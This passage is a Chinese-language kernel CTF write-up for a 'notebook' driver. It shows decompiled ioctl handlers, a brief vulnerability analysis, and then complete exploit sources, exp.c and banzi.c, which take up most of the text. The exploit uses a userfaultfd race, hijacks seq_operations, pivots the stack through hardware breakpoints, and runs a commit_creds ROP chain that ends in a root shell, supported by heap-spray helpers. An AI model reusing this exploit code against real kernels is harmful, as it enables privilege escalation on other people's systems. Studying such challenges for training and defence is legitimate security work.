    v4 = v3;
    v5 = &notebook[idx];
    raw_read_lock(&lock);
    v6 = v5->size;
    v5->size = size;
    if ( size > 0x60 )
    {
      v5->size = v6;
      v7 = -2LL;
      printk("[x] Add size out of range.\n");
    }
    else
    {
      copy_from_user(name, v4, 256LL);
      if ( v5->note )
      {
        v5->size = v6;
        v7 = -3LL;
        printk("[x] Add idx is not empty.\n");
      }
      else
      {
        v5->note = (void *)_kmalloc(size, 37748928LL);
        printk("[+] Add success. %s left a note.\n", name);
        v7 = 0LL;
      }
    }
    raw_read_unlock(&lock);
  }
  return v7;
}

notedel

根据idx删除对应的note,并清零

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall notedel(size_t idx)
{
  __int64 v1; // rdx
  __int64 v2; // rsi
  note *v3; // rbx

  _fentry__(idx, v2, v1);
  if ( idx > 0x10 )
  {
    printk("[x] Delete idx out of range.\n");
    return -1LL;
  }
  else
  {
    raw_write_lock(&lock);
    v3 = &notebook[idx];
    kfree(v3->note);
    if ( v3->size )
    {
      v3->size = 0LL;
      v3->note = 0LL;
    }
    raw_write_unlock(&lock);
    printk("[-] Delete success.\n");
    return 0LL;
  }
}

noteedit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
  __int64 v3; // rdx
  __int64 v4; // r13
  note *v5; // rbx
  size_t size; // rax
  __int64 v7; // r12
  __int64 v8; // rbx

  _fentry__(idx, newsize, buf);
  if ( idx > 0xF )
  {
    v8 = -1LL;
    printk("[x] Edit idx out of range.\n");
    return v8;
  }
  v4 = v3;
  v5 = &notebook[idx];
  raw_read_lock(&lock);
  size = v5->size;
  v5->size = newsize;
  if ( size == newsize )
  {
    v8 = 1LL;
    goto editout;
  }
  v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 37748928LL);
  copy_from_user(name, v4, 256LL);
  if ( !v5->size )
  {
    printk("free in fact");
    v5->note = 0LL;
    v8 = 0LL;
    goto editout;
  }
  if ( (unsigned __int8)_virt_addr_valid(v7) )
  {
    v5->note = (void *)v7;
    v8 = 2LL;
editout:
    raw_read_unlock(&lock);
    printk("[o] Edit success. %s edit a note.\n", name);
    return v8;
  }
  printk("[x] Return ptr unvalid.\n");
  raw_read_unlock(&lock);
  return 3LL;
}

notegift

输出所有堆块的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 __fastcall notegift(void *buf)
{
  __int64 v1; // rdx
  __int64 v2; // rsi

  _fentry__(buf, v2, v1);
  printk("[*] The notebook needs to be written from beginning to end.\n");
  copy_to_user(buf, notebook, 256LL);
  printk("[*] For this special year, I give you a gift!\n");
  return 100LL;
}

mynote_ioctl

交互

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  userarg notearg; // [rsp+0h] [rbp-28h] BYREF

  _fentry__(file, *(_QWORD *)&cmd, arg);
  copy_from_user(&notearg, v3, 24LL);
  if ( cmd == 256 )
    return noteadd(notearg.idx, notearg.size, notearg.buf);
  if ( cmd <= 0x100 )
  {
    if ( cmd == 100 )
      return notegift(notearg.buf);
  }
  else
  {
    if ( cmd == 512 )
      return notedel(notearg.idx);
    if ( cmd == 768 )
      return noteedit(notearg.idx, notearg.size, notearg.buf);
  }
  printk("[x] Unknown ioctl cmd!\n", notearg.size, notearg.buf);
  return -100LL;
}

漏洞分析

现在总结一下,我们可以往堆块里面输入读取内容,可以申请任意大小堆块,可以使用userfaultfd。可以leak堆地址。然后还没有页面隔离。这不随便打。。

漏洞利用

思路1

可用的结构体

  1. add申请一个0x20大小的堆块
  2. read读,userfaultfd暂停,del删除,object申请,读取seq_options结构体内容,泄露kernel_base
  3. write写,userfaultfd暂停,del删除,object申请,写seq_options结构体内容,将start指针劫持成add rsp xxx,然后使用pt_regs
  4. 由于pt_regs长度不太够,因此考虑使用p0里面的硬件断点方法来将栈迁移到该区域来提权。

gcc exp.c banzi.c -static -lkeyutils -lpthread -o exp -masm=intel && find . | cpio -o –format=newc > ../rootfs.img

exp.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
// =-=-=-=-=-=-=-= INCLUDE =-=-=-=-=-=-=-=
#define _GNU_SOURCE

#include <assert.h>
#include <fcntl.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>
#include "banzi.h"
#define GLOBAL_MMAP_ADDR ((char *)(0x12340000))
#define GLOBAL_MMAP_LENGTH (0x2000)
size_t  commit_creds = 0 + 0;
size_t  init_cred = 0 + 0;
size_t  pop_rdi_ret = 0 + 0;
size_t  pop_rax_ret = 0 + 0;
size_t  pop_rsp_ret = 0 + 0;
size_t leave_ret = 0;
size_t  swapgs_restore_regs_and_return_to_usermode = 0+ 0;
size_t  add_rsp_0x18_pop_rbx_pop_rbp_ret = 0 + 0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t add_rsp_0x198 = 0;
int sync_pipe1[2][2];
int add(uint64_t idx,uint64_t size,char *buf){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,256,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,512,arg);
}
int edit(uint64_t idx,uint64_t size,char *buf){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,768,arg);
}
int show(char *buf){
    uint64_t arg[1] = {buf};
    ioctl(fd,100,arg);
}
#define DR_OFFSET(num) ((void *)(&((struct user *)0)->u_debugreg[num]))
void create_hbp(pid_t pid, void *addr) {
    logi("create_hbp");
    // Set DR0: HBP address
    if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) != 0) {
        die("create hbp ptrace dr0: %m");
    }

    /* Set DR7: bit 0 enables DR0 breakpoint. Bit 8 ensures the processor stops
     * on the instruction which causes the exception. bits 16,17 means we stop
     * on data read or write. */
    unsigned long dr_7 = (1 << 0) | (1 << 8) | (1 << 16) | (1 << 17);
    if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), (void *)dr_7) != 0) {
        die("create hbp ptrace dr7: %m");
    }
}
void do_init() {
    set_cpu_affinity(0, 0);
    init_namespace();
    void *p = mmap(GLOBAL_MMAP_ADDR, GLOBAL_MMAP_LENGTH, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (p == MAP_FAILED) {
        die("mmap: %m");
    }

    if (pipe(sync_pipe1[0])) {
        die("pipe: %m");
    }
    if (pipe(sync_pipe1[1])) {
        die("pipe: %m");
    }
}
void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void saveStatus(void)
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void* leak_kernel_base(void *arg)
{
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    del(0);
    alloc_seq_ops(0);
    if (nready != 1)
      errExit("[-] Wrong pool return value");
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0) {
      errExit("[-]msg error!!");
    }
    char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
      errExit("[-]mmap page error!!");
    struct uffdio_copy uc;

    memset(page, 0, sizeof(page));//copy_from_user use this page
    uc.src = (unsigned long)page;
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;

    ioctl(uffd, UFFDIO_COPY, &uc);
    puts("[+] writek_handler done!!");
    return NULL;
}
void write_seq_options(void *arg){
    struct uffd_msg msg;
    unsigned long uffd = (unsigned long)arg;
    struct pollfd pollfd;
    int nready;
    pollfd.fd     = uffd;
    pollfd.events = POLLIN;
    nready = poll(&pollfd, 1, -1);
    puts("[+] write_seq_options");
    del(1);
    alloc_seq_ops(1);
    if (nready != 1)
      errExit("[-] Wrong pool return value");
    nready = read(uffd, &msg, sizeof(msg));
    if (nready <= 0) {
      errExit("[-]msg error!!");
    }
    char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
      errExit("[-]mmap page error!!");
    struct uffdio_copy uc;
    int off;
    // uint64_t heap_addr1 = heap_base + 0x11e89d0;
    // while(!((heap_addr1-0x8) >> (32 - off*8) & 2)) ++off;
    memset(page, 0, sizeof(page));//copy_from_user use this page
    *(uint64_t*)page = add_rsp_0x198;//rdx
    uc.src = (unsigned long)page;
    uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
    uc.len = PAGE_SIZE;
    uc.mode = 0;
    uc.copy = 0;

    ioctl(uffd, UFFDIO_COPY, &uc);
    puts("[+] writek_handler done!!");
    return NULL;
}
int fd = -1;
int seq_fd = 0;
uint64_t shell_addr = &getRootShell;
void fn_child(uint64_t kernel_base) {
    char *name_buf = (char *)GLOBAL_MMAP_ADDR;
    memset(GLOBAL_MMAP_ADDR, 0, GLOBAL_MMAP_LENGTH);
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != 0) {//可以被调试
        die("ptrace PTRACE_TRACEME: %m");
    }
    raise(SIGSTOP);
    logi("init_cred: %llx",init_cred);
    logi("init_cred: %llx",pop_rdi_ret);
    __asm__(
        "mov r15, pop_rdi_ret;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbp, 0;"
        "mov rbx, 0;"
        "mov r11, shell_addr;"
        "mov r10, user_cs;"
        "mov r9, user_rflags;"
        "mov r8, user_sp;"
        "mov rax,user_ss;"
        "mov rcx,0;"
        "mov rdx, 0;"
        "mov rsi, 0;"
        "mov rdi, 0x12340000;"
        "mov rsi, [rdi];"//触发硬件断点
    );
    //mov rsi,[rdi] 触发硬件断点
    // uname(name_buf);
    // *name_buf = 1;
    return 0;
}
int main(){
    do_init();//初始化
    saveStatus();
    fd = open("/dev/notebook",2);
    if(fd < 0){
        loge("open error");
        exit(0);
    }
    char *buf = calloc(1,0x100);
    memset(buf,'a',0x100);
    //申请两个堆块
    add(0,0x20,buf);
    add(1,0x20,buf);
    char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    //注册userfaultfd
    if (user_buf == MAP_FAILED)
      errExit("[-] mmap user_buf error!!");
    registerUserfault(user_buf,leak_kernel_base);
    //触发
    read(fd,user_buf,0);
    for(int i = 0;i < 10;i++){
        printf("%d ==> %llx\n",i*8,*(uint64_t*)(user_buf + i*8));
    }
    //通过seq_options来泄露kernel_base
    kernel_base = *(uint64_t*)(user_buf + 8) - 0x28c270;
    logi("kernel_base: %llx",kernel_base);
    init_cred = 0x125c940 + kernel_base;
    commit_creds = 0xa9b40 + kernel_base;
    pop_rdi_ret = 0x7115 + kernel_base;
    swapgs_restore_regs_and_return_to_usermode = 0xa00929 + kernel_base + 0x16;
    add_rsp_0x198 = 0x647ade + kernel_base;
    pop_rsp_ret = 0x0bc110 + kernel_base;
    leave_ret = kernel_base + 0x2805;
    char *user_buf1 = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (user_buf1 == MAP_FAILED)
      errExit("[-] mmap user_buf error!!");
    //劫持seq_options
    registerUserfault(user_buf1,write_seq_options);
    write(fd,user_buf1,1);
    seq_fd = seq_ops[1];
    //硬件断点布置rop chain
    int child = fork();
    if(child == 0){
        fn_child(kernel_base);
        exit(1);
    }
    else if(child < 0){
        die("fork error");
    }
    if(waitpid(child,NULL,__WALL)<0){//等待子进程触发断点或者产生异常此时程序会停在raise(stop)处
        perror("waitpid");
    }
    logd("create hw_breakpoint for child");
    create_hbp(child, (void *)GLOBAL_MMAP_ADDR);//设置硬件断点
    if(ptrace(PTRACE_CONT,child,NULL,NULL) < 0){//使子程序可以继续运行
        die("ptrace %m");
    }
    if(waitpid(child,NULL,__WALL) < 0){//等待子进程,此时应该停在触发硬件断点的地方
        perror("waitpid");
    }
    if(ptrace(PTRACE_CONT,child,NULL,NULL) < 0){//继续
        die("ptrace %m");
    }
    if(waitpid(child,NULL,__WALL) < 0){//等待子进程,此时应该停在退出的地方
        perror("waitpid");
    }
    if(ptrace(PTRACE_CONT,child,NULL,NULL) < 0){
        die("ptrace %m");
    }
    //栈迁移到0xfffffe0000002150
    __asm__(
        "mov r15, 0x666666666;"
        "mov r14, 0x666666666;"
        "mov r13, 0x666666666;"
        "mov r12, 0x666666666;"
        "mov rbp, 0xfffffe0000002150;"
        "mov rbx, leave_ret;"
        "mov r11, 0x666666666;"
        "mov r10, 0x666666666;"
        "mov r9, 0x666666666;"
        "mov r8, 0x666666666;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );
    __pause("debug");

}

banzi.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
#include "banzi.h"

void init_namespace(void) {
    int fd;
    char buff[0x100];

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
    }

    if (unshare(CLONE_NEWNET)) {
        die("unshare(CLONE_NEWNET): %m");
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        die("sched_setaffinity: %m");
    }
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        die("setsockopt(PACKET_VERSION): %m");
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        die("setsockopt(PACKET_RX_RING): %m");
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        die("socket(AF_PACKET): %m");
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        die("bind(AF_PACKET): %m");
    }

    return s;
}

int pagealloc_pad(int size, int count) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int add_msg(int msqid, const void *msgp, size_t msgsz) {
	if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
		perror("[-] msgsnd");
    	return -1;
    }
    return 0;
}
void alloc_shm(int i) {
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i] < 0) {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0) {
        perror("[X] shmat");
        exit(1);
    }
}
int show_msg(int msqid, void *msgp,size_t msgsz,long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void build_msg(int num){
	for(int i = 0;i < num;i++){
		msgqid[i] = msg_get();
	}
}
int spray_sendmsg(char *buf,int size,int count){
    // char buf[size];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // filled with 0x61 'a'
    // memset(buf,'\x00',sizeof(buf));
    // *(uint64_t*)(buf + 8*2) = 0xfff0;
    // *(uint64_t*)(buf + 8*3) = 0xdeadbeef;
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = size;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
    for(int i = 0;i < count;i++){
      sendmsg(sockfd, &msgh, 0);
    }
}
void registerUserfault(void *fault_page,void *handler)
{
   pthread_t thr;
   struct uffdio_api ua;
   struct uffdio_register ur;
   uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features    = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1)
      errExit("[-] ioctl-UFFDIO_API");
 
   ur.range.start = (unsigned long)fault_page;
   ur.range.len   = PAGE_SIZE;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
      errExit("[-] ioctl-UFFDIO_REGISTER");
   int s = pthread_create(&thr, NULL,handler, (void*)uffd);
   if (s!=0)
      errExit("[-] pthread_create");
}
void errExit(char *msg) {
   puts(msg);
   _exit(-1);
}
// int alloc_pages_via_sock(uint32_t size, uint32_t n)
// {
//     struct tpacket_req req;
//     int32_t socketfd, version;

//     socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
//     if (socketfd < 0)
//     {
//         perror("bad socket");
//         exit(-1);
//     }

//     version = TPACKET_V1;

//     if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
//     {
//         perror("setsockopt PACKET_VERSION failed");
//         exit(-1);
//     }

//     assert(size % 4096 == 0);

//     memset(&req, 0, sizeof(req));

//     req.tp_block_size = size;
//     req.tp_block_nr = n;
//     req.tp_frame_size = 4096;
//     req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

//     if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
//     {
//         perror("setsockopt PACKET_TX_RING failed");
//         exit(-1);
//     }

//     return socketfd;
// }

// void spray_comm_handler()
// {
//     ipc_req_t req;
//     int32_t result;

//     do {
//         read(sprayfd_child[0], &req, sizeof(req));
//         assert(req.idx < INITIAL_PAGE_SPRAY);
//         if (req.cmd == ALLOC_PAGE)
//         {
//             socketfds[req.idx] = alloc_pages_via_sock(4096, req.n);
//             printf("%llx\n",socketfds[0]);
//         }
//         else if (req.cmd == FREE_PAGE)
//         {
//             close(socketfds[req.idx]);
//         }
//         result = req.idx;
//         write(sprayfd_parent[1], &result, sizeof(result));
//     } while(req.cmd != EXIT_SPRAY);

// }

// void send_spray_cmd(enum spray_cmd cmd, int idx,int n)
// {
//     ipc_req_t req;
//     int32_t result;

//     req.cmd = cmd;
//     req.idx = idx;
//     req.n = n;
//     write(sprayfd_child[1], &req, sizeof(req));
//     read(sprayfd_parent[0], &result, sizeof(result));
//     assert(result == idx);
// }
// void unshare_setup(uid_t uid, gid_t gid)
// {
//     int temp;
//     char edit[0x100];
//     unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
//     temp = open("/proc/self/setgroups", O_WRONLY);
//     write(temp, "deny", strlen("deny"));
//     close(temp);
//     temp = open("/proc/self/uid_map", O_WRONLY);
//     snprintf(edit, sizeof(edit), "0 %d 1", uid);
//     write(temp, edit, strlen(edit));
//     close(temp);
//     temp = open("/proc/self/gid_map", O_WRONLY);
//     snprintf(edit, sizeof(edit), "0 %d 1", gid);
//     write(temp, edit, strlen(edit));
//     close(temp);
//     return;
// }
void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


void save_state()
{
    __asm__ __volatile__(
        "movq %0, cs;"
        "movq %1, ss;"
        "pushfq;"
        "popq %2;"
        : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
}


int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}

void hexdump(unsigned char *buff, size_t size) {
    int i, j;

    for (i = 0; i < size / 8; i++) {
        if ((i % 2) == 0) {
            if (i != 0) printf("  \n");

            printf("  %04x  ", i * 8);
        }

        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }

    putchar('\n');
}

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
